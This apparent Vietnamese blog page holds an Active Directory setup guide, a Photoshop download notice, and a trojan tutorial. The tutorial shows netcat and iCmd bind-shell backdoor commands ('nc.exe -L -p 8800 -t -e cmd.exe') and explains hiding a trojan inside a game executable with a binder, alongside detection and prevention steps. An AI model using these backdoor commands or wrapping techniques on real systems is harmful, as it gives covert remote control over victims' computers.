Thứ Sáu, 3 tháng 5, 2013

Active Directory toàn tập - Phần 1 và 2




Active Directory là dịch vụ hệ thống quan trọng bậc nhất với vai trò quản lý dữ liệu người dùng, máy tính, groups, và các chính sách cũng như rất nhiều thông tin khác. Để triển khai hệ thống Active Directory chuẩn, tránh các sự cố liên quan là điều cần thiết. Trong loạt bài viết về Active Directory này tôi sẽ giới thiệu với các bạn từ cài đặt 1 máy chủ Domain Controller cho một Domain tới cài thêm một máy chủ DC khác cho Domain đó. Doanh nghiệp phát triển cần phải triển khai các Domain Con, và các Domain ngang hàng trong cùng một Forest.

Các phần trong loạt bài viết về Active Directory


1. Cài đặt Active Directory trên Windows Server 2003


2. Backup Active Directory


3. Cài đặt thêm một máy chủ Active Directory vào một Domain đã có


4. Cài đặt Multiple Domain cho một hệ thống.


a. Cài đặt Active Directory trên một Forest mới.


b. Cài đặt Active Directory trên một domain con


5. Đổi tên Domain


6. Chuyển Master của Domain.


Phần I Giới thiệu về Series bài viết


Trong Series bài viết về Active Directory này các bạn sẽ biết cách cài đặt và cấu hình lên một hệ thống như dưới đây.





- Trong phần 2 của bài viết tôi sẽ giới thiệu với các bạn làm cách nào để cài chuẩn một máy chủ Active Directory, cụ thể ở đây tôi cài Active Directory cho domain Vnexperts.net


- Phần 3 của bài viết sẽ giới thiệu về cài đặt thêm máy chủ Domain Controller cho domain đã có là Vnexperts.net. Cách Backup và Restore lại Active Directory.


- Phần 4 của bài viết là cài đặt Domain Con trong Domain đã có sẵn là mcsa.vnexperts.net và ccna.vnexperts.net


- Phần 5 Cài đặt một Domain mới trong forest đã có từ trước là: vne.vn, join máy client vào domain, truy cập vào dữ liệu được share trên Forest.


- Phần 6 Đổi tên Domain


- Khắc phục sự cố khi máy chủ Domain Controller hoạt động với chức năng Master của cả Forest bị lỗi, và cách nâng cấp các máy chủ thứ cấp nên thành Master.


Phần II – Cài đặt Active Directory trên Windows Server 2003


1. Cài đặt và cấu hình DNS


Khi cài đặt Active Directory trên Windows Server 2003 theo kinh nghiệm của tôi thì các bạn nên cài đặt DNS trước với các thiết lập chuẩn.


- Địa chỉ IP đặt là địa chỉ tĩnh và địa DNS là địa của chính máy mình.


- Tạo Zone trong DNS và thiết lập Dynamic Update cho Zone đó đây là một yêu cầu bắt buộc trong để Active Directory có khả năng tự động Update các thiết lập của mình vào trong DNS.


a. Đặt địa chỉ IP cho máy chủ - Static IP và DNS vào DNS của chính máy mình.


Vào card mạng thiết lập địa chỉ IP cho máy chủ với địa chỉ Static là 192.168.100.11, DNS cũng là 192.168.100.11.





b. Cài đặt và cấu hình DNS


- Vào Start à chọn Administrative Tools à Manage Your Server


- Trong cửa sổ Manage Your Server chọn phần đầu tiên Add or Remove a Role rồi chọn cài đặt DNS nhấn Next và hệ thống sẽ yêu cầu bạn bộ cài Windows Server 2003 bạn cho đĩa CD hoặc trỏ đường dẫn tới thư mục i386 của bộ cài là OK. Kết thúc cài đặt


- Tạo Zone trong DNS: Vào Start à Administrative Tools à DNS sẽ xuất hiện cửa sổ DNS. Trong phần tạo Zone này các bạn sẽ phải tạo dạng Forward Lookup Zone Dạng Primary Zone.


- Chuột phải vào Forward Lookup zone chọn New Zone.





Nhấn Next hệ thống yêu cầu tên Zone cần tạo tôi chọn là vnexperts.net





Sau khi gõ tên đầy đủ của Zone cần tạo ra bạn nhấn Next để thực hiện bước tiếp tục, chọn Allow Dynamic Update đây là bắt buộc để khi cài đặt Active Directory sẽ tự động ghi các Record vào DNS





Nhấn Next và kết thúc quá trình tạo Zone mới trong DNS. Công việc của bạn chưa kết thúc, bạn vào DNS chọn Zone vừa tạo ra sẽ thấy hai Record là SOA và NS.


- Cần phải chỉnh sửa hai Record này để quá trình cài đặt chuẩn Active Directory, nhấp đúp vào SOA Record chỉnh lại bằng cách thêm vào phần đuôi các Record tên Zone vừa tạo ra.





Chỉnh lại NS Record bằng cách tương tự.





Tạo ra một Record để kiểm tra xem hệ thống DNS hoạt động đã chuẩn hay chưa. Ở đây tôi tạo ra một Host A record là Server01.vnexperts.net địa chỉ IP là 192.168.100.11.

- Chuột phải vào vnexperts.net Zone chọn Host A record



Kiểm tra hoạt động của DNS bằng cách vào run gõ CMD trong cửa sổ này chọn:

Ping server01.vnexperts.net nếu có reply là ok.




OK hoàn tất quá trình cài đặt và thiết lập DNS chuẩn bị cho việc cài đặt Active Directory.

2. Cài đặt Active Directory trên máy chủ Windows Server 2003
Chúng ta có thể vào cửa sổ Manage Your Server chọn Add or Remove a Role để cài đặt Active Directory nhưng cách mọi người hay sử dụng là vào Run gõ dcpromo.
- Vào Run gõ dcpromo sẽ xuất hiện cửa sổ sau





Các bạn nhấn Next để tiếp tục quá trình cài đặt Active Directory. Vào cửa sổ giới thiệu tương thích với các Windows của Active Directory.



Nhấn Next để tiếp tục, trong cửa sổ này bạn phải lựa chọn giữa hai Options:
- Domain Controller for a New domain: Là thiết lập tạo ra Domain Controller đầu tiên trong Domain
- Additional domain Controller …: là lựa chọn để cài đặt them một máy chủ DC vào cho một Domain, với thiết lập Hai hay nhiều DC cho một Domain đáp ứng được khi một máy chủ bị sự cố xảy ra thì hệ thống vẫn hoạt động bình thường. Ở đây bạn chọn Option: Domain Controller for a New Domain để cài đặt Máy chủ Domain Controller đầu tiên trên Domain.





Sau khi lựa chọn Options trên bạn nhấn Next để tiếp tục quá trình cài đặt.
- Trong cửa sổ tiếp theo này có ba Options vô cùng quan trọng để khi bạn cài đặt Domain Controller.
- Domain in a new forest: Cài đặt máy chủ Domain Controller đầu tiên trên Forest sẽ phải lựa chọn thiết lập này ví dụ ở đây tôi cài cho domain đầu tiên là: vnexperts.net phải lựa chọn Options này.
- Child domain in an existing domain tree: Nếu khi tôi đã có domain vnexperts.net mà tôi lại muốn cài đặt các domain con bên trong của nó như: mcsa.vnexperts.net, hay ccna.vnexperts.net thì tôi phải lựa chọn Options này.
- Domain tree in an existing forest: Nếu tôi muốn tạo một domain khác với tên vne.vn cùng trong forest vnexperts.net tôi sẽ phải lựa chọn Options này
- Cả hai options dưới là việc cài đặt Multiple domain sẽ được trình bày ở các bài viết sau trong bài viết này tôi trình bày cài đặt máy chủ Domain Controller đầu tiên trong Domain.





Lựa chọn Options đầu tiên rồi nhấn Next tiếp tục quá trình cài đặt, Trong bước này hệ thống yêu cầu bạn là: Máy chủ Domain Controller này quản lý Domain tên là gì tôi gõ vnexperts.net





Nhấn Next để tiếp tục, lựa chọn NetBIOS name cho Domain. NetBIOS name chính là tên của Domain xuất hiện khi client đăng nhập vào hệ thống. Bạn để mặc định





Nhấn Next bạn cần phải lựa chọn nơi chứa thư mục NTDS cho quá trình Replications của hệ thống Domain Controller:





Nhấn Next để tiếp tục, bạn cần phải thiết lập nơi lưu trữ thư mục SYSVOL đây là thư mục bắt buộc phải để trong Partition định dạng NTFS, với tác dụng chứa các dữ liệu để Replication cho toàn bộ Domain Controller trong Domain. Nếu mặc định hệ thống sẽ để tại thư mục %systemroot%\SYSVOL





Nhấn Next để tiếp tục, bước này hệ thống sẽ hiển thị các thong tin về DNS đã được cấu hình chuẩn chưa và các thong tin về Domain… thể hiện ở hình dưới đây. Nếu trong bước này mà hệ thống báo lỗi bạn cần phải thực hiện lại các bước trong cài đặt và thiết lập DNS.


- Ở đây toàn bộ đã thiết lập chuẩn





Giờ là bước bạn nhấn Next, và lựa chọn Mode cho Domain.


- Domain Function Level có 4 Mode là


- Mix Mode là Active Directory được tạo ra bởi cả Windows NT Server, Windows 2000 Server, và Windows 2003 Server. Trong Mode này Active Directory không có một số tính năng cao cấp của Windows Server 2000, và Windows Server 2003, nhưng bạn sẽ phải buộc cài Mode này khi bạn Joint hệ thống windows 2003 mới vào hệ thống Windows NT cũ đang hoạt động.


- Native Mode: Active Directory được tạo trên nền tảng Windows Server 2000 và Windows Server 2003 nên có gần như đầy đủ hết các tính năng cao cấp của Active Directory


- Interim Mode: được tạo ra bởi Windows NT và Windows Server 2003 tương tự như Mix Mode


- 2003 Mode: Là mode cao nhất hỗ trợ đầy đủ nhất toàn bộ các tính năng của Windows Server 2003.


- Ở đây trong bước này tôi chọn là mode Native





Nhấn Next để tiếp tục quá trình cài đặt, Hệ thống yêu cầu thiết lập Password trong Restore Mode.


- Khi bạn backup Active Directory là hoàn toàn dễ dàng trong Windows Server 2003 bởi hệ thống sử dụng cơ chế Shadow Backup, cho phép backup cả những dữ liệu, file, service đang hoạt động.


- Nhưng khi bạn Restore lại sẽ là cả vấn đề, Windows không cho can thiệp vào File, hay dữ liệu đang được sử dụng, và khi đó bạn phải khởi động hệ thống vào Mode mà Active Directory không hoạt động thì mới Restore được. Nội dung này sẽ trình bày trong phần sau, Password đặt trong phần này chính là Password để đăng nhập vào hệ thống khi Restore lại Active Directory.





Sau đặt Password bạn nhấn Next hệ thống sẽ cho bạn hiển thị toàn bộ thông tin như:


- NetBIOS name ở đây là VNEXPERTS


- Folder chứa dữ liệu của Active Directory là NTDS ở đâu


- Tương tự vậy các folder SYSVOL


- Hệ thống sẽ thông báo là Password đăng nhập vào Domain của User Administrator sẽ tương tự như Password đăng nhập của User Administrator trước khi cài Active Directory.





Nhấn Next bắt đầu tiến hành cài đặt Active Directory





Đợi vài phút cho đến khi hệ thống thong báo hoàn thành và yêu cầu khởi động lại là bạn đã hoàn tất quá trình cài đặt Active Directory trên máy chủ Windows Server 2003.





Trong Phần tiếp theo tôi sẽ trình bày cách Add them một máy chủ Domain Controller vào một Domain đã có sẵn và cách Backup cũng như Restore Active Dicrectory.


Theo Vnexperts Research Department

Cách Chống Trojan & Backdoor toàn tập


PDFPrintE-mail

Trong bài viết này tôi sẽ trình bày với các bạn về Trojan và Backdoor. Những khái niệm cơ bản về Trojan và Backdoor, phân loại và cách thức lây nhiễm Trojan và Backdoor. Cùng với những kiến thức khác như sử dụng một số Trojan cơ bản, cách thức ẩn Trojan vào trong một file .Exe. Cuối cùng tôi sẽ đưa ra các giải pháp phòng chống Trojan và Backdoor.
1. Giới thiệu về Trojans
2. Các dạng và cách hoạt động của Trojan
3. Cách nhận biết máy tính bị nhiễm Trojan
4. Sự khác nhau của các Trojans
5. Sử dụng một số Trojan để tấn công
6. Ẩn Trojans vào một file .EXE bình thường
7. Cách phát hiện Trojans và Backdoor
8. Giải pháp phòng chống Trojan Backdoor
9. Kết luận
1. Giới thiệu về Trojans.
- Một Trojan là một chương trình nhỏ chạy chế độ ẩn và gây hại cho máy tính.
- Với sự trợ giúp của Trojan, một kẻ tất công có thể dễ dàng truy cập vào máy tính của nạn nhân để thực hiện một số việc nguy hại như lấy cắp dữ liệu, xóa file, và nhiều khả năng khác.
2. Các dạng và cách hoạt động của Trojan
- Kẻ tấn công có thể truy cập được vào các máy tính đã bị nhiễm Trojans khi chúng Online.
- Kẻ tấn công có thể truy cập và điều khiển toàn bộ máy tính của nạn nhân, và chúng có khả năng sử dụng vào nhiều mục đích khác nhau.
- Các dạng Trojans cơ bản:
+Remote Access Trojans – Cho kẻ tấn công kiểm soát toàn bộ hệ thống từ xa.
+ Data-Sending Trojans – Gửi những thông tin nhạy cảm cho kẻ tấn công
+ Destructive Trojans – Phá hủy hệ thống
+ Denied-of-Service – DoS Attack Trojan: Trojans cho tấn công DoS.
+ Proxy Trojans
+ HTTP, FTP Trojans: - Trojan tự tạo thành HTTP hay FTP server để kẻ tấn công khai thác lỗi.
+ Security Software Disable Trojan – Có tác dụng tắt những tính năng bảo mật trong máy tính của nạn nhân.
- Mục đích của những kẻ viết ra những Trojans:
+ Lấy thông tin của Credit Card
+ Lấy thông tin của các tài khoản cá nhân như: Email, Password, Usernames,…
+ Những dữ liệu mật.
+ Thông tin tài chính: Tài khoản ngân hàng…
+ Sử dụng máy tính của nạn nhân để thực hiện một tác vụ nào đó, như để tấn công, scan, hay làm ngập hệ thống mạng của nạn nhân.
3. Những con đường để máy tính nạn nhân nhiễm Trojan.
- Qua các ứng dụng CHAT online như IRC – Interney Relay Chat
- Qua các file được đính kèm trên Mail…
- Qua tầng vật lý như trao đổi dữ liệu qua USB, CD, HDD…
- Khi chạy một file bị nhiễm Trojan
- Qua NetBIOS – FileSharing
- Qua những chương trình nguy hiểm
- Từ những trang web không tin tưởng hay những website cung cấp phần mềm miễn phí
- Nó có khả năng ẩn trong các ứng dụng bình thường, khi chạy ứng dụng đó lập tức cũng chạy luôn Trojans.
4. Những cách nhận biết một máy tính bị nhiễm Trojans – Cơ bản nhất – Có thể không đúng.
- Ổ CD-ROM tự động mở ra đóng vào.
- Máy tính có những dấu hiệu lạ trên màn hình.
- Hình nền của các cửa sổ Windows bị thay đổi…
- Các văn bản tự động in
- Máy tinh tự động thay đổi font chữ và các thiết lập khác
- Hình nền máy tính tự động thay đổi và không thể đổi lại.
- Chuột trái, chuột phải lẫn nộn..
- Chuột không hiển thị trên màn hình.
- Nút Start không hiển thị.
- Một vài cửa sổ chát bật ra
Các Port sử dụng bởi các Trojan phổ biến.
- Back Orifice – Sử dụng UDP protocol – Sử dụng Port 31337 và 31338
- Deep Throat – Sử dụng UDP protocol – Sử dụng Port 2140 và 3150
- NetBus – Sử dụng TCP Protocol – Sử dụng Port 12345 và 12346
- Whack-a-mole – Sử dụng TCP – Qua Port 12361 và 12362
- Netbus 2 Pro – Sử dụng TCP – Qua Port 20034
- GrilFriend - Sử dụng Protocol TCP – Qua Port 21544
- Masters Paradise - Sử dụng TCP Protocol qua Port – 3129, 40421,40422, 40423 và 40426.
Để nhận biết những Port nào trên máy tính đang Active chúng ta dùng câu lệnh:
Netstat –an
5. Sử dụng một số loại Trojan
Với mục đích của bài viết để các bạn hiểu về Trojan, sử dụng Trojan là một trong những nội dung cơ bản của nghiên cứu về bảo mật. Khi biết cách sử dụng và cách hoạt động của các loại Trojan bạn có thể từ đó đưa ra các giải pháp an ninh mạng cho doanh nghiệp của mình cũng như những dữ liệu quan trọng của chúng ta. Trong phần này tôi giới thiệu với các bạn những loại Trojan sau:
- Tini
- iCmd
- Netcat
- HTTP RAT
a. Trojan Tini
Bất kỳ một máy tính nào nếu bị nhiễm Trojan này đều cho phép Telnet qua Port 7777 không cần bất kỳ thông tin xác thực nào.
- Để Trojan này nhiễm vào hệ thống thì chỉ cần chạy một lần hoặc Enter file đó là OK mọi thứ đã hoàn tất và đợi những thông tin Telnet tới port 7777.
- Trên máy 192.168.1.33 đã chạy file tini.exe giờ tôi đứng trên bất kỳ máy nào cũng có thể dùng lệnh: Telnet 192.168.1.33 7777 là có thể console vào được máy đó.
b. iCmd Trojan
Tương tự như Tini Trojan nhưng khác một điều đó là cho phép lựa chọn port để telnet và Password truy cập vào máy bị nhiễm trojan này.
VD: Máy bị nhiễm Trojan chạy file iCmd.exe với câu lệnh
- iCmd.exe vne 8080
Có nghĩa máy này enable telnet trên port 8080 và password là "vne"
Trong ví dụ này tôi để file: iCmd.exe tại thư mục vnexperts.net trên ổ C:\
- Trên máy khác tôi có thể telnet tới máy này với câu lệnh:
- Telnet port
- Như ví dụ trên tôi gõ: telnet 192.168.1.33 8080
Hệ thống bắt tôi nhập password tôi gõ vne vào và Enter
Và kết quả
c. Netcat Trojan.
Trojan này cho phép chúng ta lựa chọn khá nhiều Options như Port, chạy chế độ ẩn, cho phép telnet …..
Để chạy Trojan này tôi gõ câu lệnh:
Nc.exe –L –p -t –e
-L là hoạt động ở chế độ nghe
-p là Port sử dụng để nghe.
-t cho phép sử dụng Telnet
-e chạy một chương trình nào đó.
Trên ví dụ này tôi chạy với câu lệnh
- Nc.exe –L –p 8800 –t –e cmd.exe
Giờ thì tôi có thể đứng bất kỳ trên máy nào có thể telnet tới máy này qua cổng 8800, và hoàn toàn có thể kiểm soát được máy tính đó qua giao diện command line.
d. HTTP RAT
Với tính năng hoạt động như một Web Server được lập trình sẵn cho phép quản lý máy tính trên giao diện Web. Bạn hoàn toàn có thể thực hiện được trên Internet, khi một máy nhiễm Trojan này sẽ tự động gửi mail về cho bạn qua cấu hình.
Giờ đứng trên bất kỳ máy nào bạn cũng có thể vào máy này qua cửa sổ của một trình duyệt web bất kỳ:
http://192.168.1.33
Tôi có thể chạy xóa hay download bất kỳ file nào từ máy nạn nhân
e. ICMP Trojan
Sử dụng tunnel là ICMP gần như được sự đồng ý của bất kỳ firewall nào hay các hệ thống.
- Trên máy nạn nhân sử dụng ICMP Trojan Server chúng ta phải cài Trojan này với câu lệnh
- Ngồi trên bất kỳ máy nào bạn sử dụng ICMPsend để remote tới hệ thống đã bị nhiễm ICMP trojan
Trên thực tế còn rất nhiều loại Trojan khác bạn có thể tìm hiểu trên các trang web chuyên về security, trong bài viết này tôi chỉ Demo một số loại Trojan dùng để trainning mà thôi.
6. Cách ẩn một hoặc nhiều Trojan vào một file .exe hay file chạy bình thường
Mấy phần bên trên là cách sử dụng Trojan cơ bản. Ví dụ bạn muốn sử dụng con trojan là iCmd.exe bạn phải làm thế nào? Copy file đó vào máy và chạy với câu lệnh iCmd.exe vne 8800? Điều này không thể thực hiện bởi ai cho bạn ngồi trên máy đó.
Vậy làm thế nào để lây nhiễm Trojan này vào máy của nạn nhân?
Thật không may những kẻ tấn công đã khôn ngoan ẩn một hay nhiều Trojan vào một file Exe bình thường, như một chương trình cờ, một file exe bộ cài windows, file chạy của các phần mềm miễn phí mà có khi ẩn luôn vào bộ cài các chương trình diệt virus.
Cách ẩn Trojan vào file .exe đó là công nghệ Wrapper. Các phần mềm thường dùng:
- One file EXE Maker
- Yet Another Binder
- Pretator Wrapper.
a. Sử dụng One file EXE Maker dấu và chạy file iCmd.exe
Download bộ cài của phần mềm này cài ra máy sau đó là chạy để ghép các file
File EXE mà tôi lựa chọn là một chương trình cờ Caro rất phổ biến Fiver6_8.exe.
- File cờ caro tôi để chạy bình thường
- file iCmd.exe tôi để chạy ẩn và copy vào hệ thống
- Câu lệnh thêm trên file iCmd.exe tôi chọn là vne 8800 – cho phép telnet vào port 8800 và password là vne.
Nhấn Save để hoàn thành quá trình.
- Tôi save ra với tên là caro.exe
Nhìn dung lượng của file tôi thấy:
- iCmd.exe dung lượng 36KB
- Fiver6_8_en.exe dung lượng 310K
- Caro.exe được tạo từ hai file trên dung lượng 353KB
Giờ tôi thử chạy file Caro.exe
Chỉ có cửa sổ đánh cờ caro được bật ra nhưng đã có một file iCmd.exe được hoạt động, kiểm tra trong Task Manager:
Đứng trên bất kỳ máy nào tôi cũng có thể remote tới máy này qua port 8800 và password là vne
Trong bài viết này tôi chỉ Demo một chương trình ẩn file Exe các bạn có thể tìm kiếm các phần mềm này trên Internet.
7. Cách phát hiện Trojan.
Có ba nguyên lý của bất kỳ chương trình Trojan nào:
- Một trojan muốn hoạt động phải lắng nghe các request trên một cổng nào đó
- Một chương trình đang chạy sẽ phải có TÊN trong Process List
- Một chương trình Trojan sẽ luôn chạy cùng lúc khi máy tính khởi động.
a. Phát hiện Port sử dụng bởi Trojans
- Dùng câu lệnh Netstat –an trong windows để biết hệt thống đang lắng nghe trên các port nào
+ Hình dưới ta thấy có port 7777 – à thì ra là port của Tini Trojan
+ Máy của tôi đâu có sử port nào là 8800 sao lại đang để chế độ nghe và có máy đang kết nối đến nhỉ ồ đó chắc là của Trojans
- Dùng phần mềm Fport
- Dùng phần mềm TCPView
Thật may tôi có thể xem toàn bộ các port đang sử dụng và chương trình gì tôi đang sử dụng port nào
Từ đây tôi có thể kiểm tra các dịch vụ mạng của tôi với những Port nghi ngờ tôi có thể dùng Firewall đóng lại.
b. Cách phát hiện các chương trình đang chạy
- Dùng phần mềm Process Viewer tất cả các Process sẽ được hiển thị dù có đang chạy chế độ ẩn và không hiện trên Task Manager của Windows.
c. Tìm một chương trình chạy lúc khởi động
- Trong Satup
- Trong Registry: Đa số sẽ nằm tại đây: Chúng ta sử dụng câu lệnh Msconfig trong Table Starup chương trình nào muốn chạy tự động sẽ phải nằm tại đây.
Trong ví dụ này tôi thấy có file nc.exe chạy lúc khởi động vị trí của nó là tại folder c:\vnexperts.net
8. Cách phòng chống Trojans và Backdoor
- Không sử dụng các phần mềm không tin tưởng (Đôi khi tin tưởng vẫn bị dính Trojans)
- Không vào các trang web nguy hiểm, không cài các ActiveX và JavaScript trên các trang web đó bởi có thể sẽ đính kèm Trojans
- Tối quan trọng là phải update OS thường xuyên
- Cài phần mềm diệt virus uy tín: Tôi hay dùng: Kaspersky Internet Security, Norton Internet Security, và Mcafee Total Security, nhưng nghe nói còn rất nhiều phần mềm diệt Virus và chống Trojan hay khác. Sau khi cài các phần mềm này bạn hãy update nó thường xuyên.
9. Kết luận.
Trong bài viết này tôi đã trình bày các khái niệm cơ bản thế nào là Trojans Backdoor, cách chúng lây nhiễm vào hệ thống. Một vài trojans demo cho các bạn hiểu sự nguy hiểm của Trojan. Quan trọng nhất là các bạn hãy bảo vệ chính môi trường của mình trước các tấn công từ bên ngoài.

Thứ Năm, 2 tháng 5, 2013

Tài liệu học Photoshop CS tiếng việt


 Tài liệu bao gồm 20 chương giới thiệu đầy đủ về Photoshop kèm theo các bài tập thực hành đây là tài liệu cần thiết cho những bạn yêu thích về Photoshop


Dung lượng: 80MB


Tài liệu Photoshop CS tiếng việt